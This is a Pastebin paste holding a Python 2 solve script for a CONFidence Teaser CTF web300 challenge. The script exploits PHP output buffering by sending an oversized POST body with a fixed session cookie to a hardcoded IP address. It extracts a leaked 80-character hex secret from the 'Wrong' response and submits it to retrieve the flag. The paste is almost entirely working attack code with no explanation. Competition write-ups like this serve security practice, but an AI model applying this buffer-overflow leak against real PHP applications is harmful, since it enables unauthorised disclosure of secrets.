Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- #g4mm4 is our hero !!!
- #CONFidence Teaser CTF web300
- #PHP Output Buffering Trick
- import urllib
- import urllib2
- import os
- import socket
- import re
- def output_buffering_trick():
- _post = "guess=" + "A" * 100000
- _kaka = "a" * 1000
- s = socket.socket()
- s.connect(("134.213.136.172", 80))
- s.send("POST / HTTP/1.1\r\n")
- s.send("User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)\r\n")
- s.send("Host: 134.213.136.172\r\n")
- s.send("Cookie: PHPSESSID=h6qgh1nltk3fiq10cu31i38df7\r\n")
- s.send("Content-Length: %s\r\n"%len(_post))
- s.send("Content-Type: application/x-www-form-urlencoded\r\n")
- s.send("Connection: close\r\n\r\n")
- s.send(_post)
- s.send("\r\n\r\n")
- while True:
- buf = s.recv(1024)
- if not buf:
- break
- if "Wrong" in buf:
- _egg = re.findall(r"([a-fA-F\d]{80})", buf)
- s.close()
- return _egg[0]
- def get_flag(_egg):
- url = 'http://134.213.136.172/'
- user_agent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'
- values = {'guess': _egg}
- headers = { 'User-Agent' : user_agent,
- 'Cookie': 'PHPSESSID=h6qgh1nltk3fiq10cu31i38df7'}
- data = urllib.urlencode(values)
- req = urllib2.Request(url, data, headers)
- response = urllib2.urlopen(req)
- the_page = response.read()
- print the_page
- if __name__ == "__main__":
- get_flag(output_buffering_trick())
Advertisement
Add Comment
Please, Sign In to add comment